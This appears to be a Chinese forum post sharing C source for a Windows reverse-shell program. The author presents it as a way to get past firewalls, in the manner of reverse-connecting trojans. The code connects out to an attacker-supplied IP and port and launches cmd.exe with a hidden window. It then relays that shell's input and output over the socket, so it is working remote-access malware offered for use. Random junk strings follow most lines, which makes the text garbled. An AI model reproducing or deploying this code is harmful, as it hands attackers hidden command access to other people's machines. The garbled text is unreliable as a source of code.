这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u9}}}UN!
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/* ============================== PH97O`"
Rebound port in Windows NT hu[=9#''$
By wind,2006/7 <9eQ
===============================*/ Wfkm'BnV
#include [qlq& ?"
#include mIq6\c$
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#pragma comment(lib,"wsock32.lib") punc'~
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void OutputShell(); @5Q}o3.zA-
SOCKET sClient; i%>]$*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /lDW5;d
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void main(int argc,char **argv) sxJKu
{ |332G64K
WSADATA stWsaData; HY9H?T
int nRet; ;Avd$&::
SOCKADDR_IN stSaiClient,stSaiServer; :^lyVQ%@
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if(argc != 3) G+AD
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{ [ivz/r(Rj
printf("Useage:\n\rRebound DestIP DestPort\n"); @^}
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return; //`heFuc]>
} n@{fqj
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WSAStartup(MAKEWORD(2,2),&stWsaData); cH'*J/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A{\7HV 5
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stSaiClient.sin_family = AF_INET; g}|a-
stSaiClient.sin_port = htons(0); Hkg^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6G7B&"&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c>{X(Z=2
{ ]ms#*IZ
printf("Bind Socket Failed!\n"); )<9g+^
return; ~-lIOQ.v
} Tz+2g&+
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stSaiServer.sin_family = AF_INET; o1MI&}r
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S20x
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $1.iMHb
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IV;juFw}G
{ :ZL;wtT
printf("Connect Error!"); j[m\;3Sp
return; !tv3.:eT
} <<LmO-92
OutputShell(); n_AW0i.
} Y1+4ppZ
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void OutputShell() ?c"No|@+
{ G{}E~jDi?
char szBuff[1024]; NwD*EuPF :
SECURITY_ATTRIBUTES stSecurityAttributes; 9fMg?
OSVERSIONINFO stOsversionInfo; jpZX5_o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;#78`x2
STARTUPINFO stStartupInfo; < Upn~tH
char *szShell; ^v*ajy.>
PROCESS_INFORMATION stProcessInformation; 6Bmv1n[X^h
unsigned long lBytesRead; f[.RAHjk
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yfiRMN"2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RPPxiYU^
stSecurityAttributes.lpSecurityDescriptor = 0; I/jMe'Kp
stSecurityAttributes.bInheritHandle = TRUE; IE: x&q`3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |;6FhDW+'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?0hk~8c
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l Vo](#W
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LPb43
stStartupInfo.wShowWindow = SW_HIDE; FT/H~|Z>
stStartupInfo.hStdInput = hReadPipe; Dd<gYPC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Vm_y,;/(-R
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GetVersionEx(&stOsversionInfo); Q/\
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switch(stOsversionInfo.dwPlatformId) fC.-* r
{ %Gl, V5z&
case 1: Y<:%_]]
szShell = "command.com"; 44f8Hc1g
break; n0 _:!]k^
default: 6=Kl[U0Y
szShell = "cmd.exe"; D(Zux8l
break; _ D1bR7
} KArf:d
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )J<Li!3
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send(sClient,szMsg,77,0); aWm0*W"(@
while(1) .^I,C!O#
{ u]@``Zb|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JMuUj_^}7
if(lBytesRead) ^USj9HTK
{ eg~$WB;1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r-^Ju6w{
send(sClient,szBuff,lBytesRead,0); yC
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} ]?#f=/
else YUfuS3sX}
{ ,(N&%
lBytesRead=recv(sClient,szBuff,1024,0); 8*=N\'m],
if(lBytesRead<=0) break; eqD%Qdx
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bd_U%0)pi1
} f";70}_
} ,8;;#XR3
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return; =y,_FFoS
}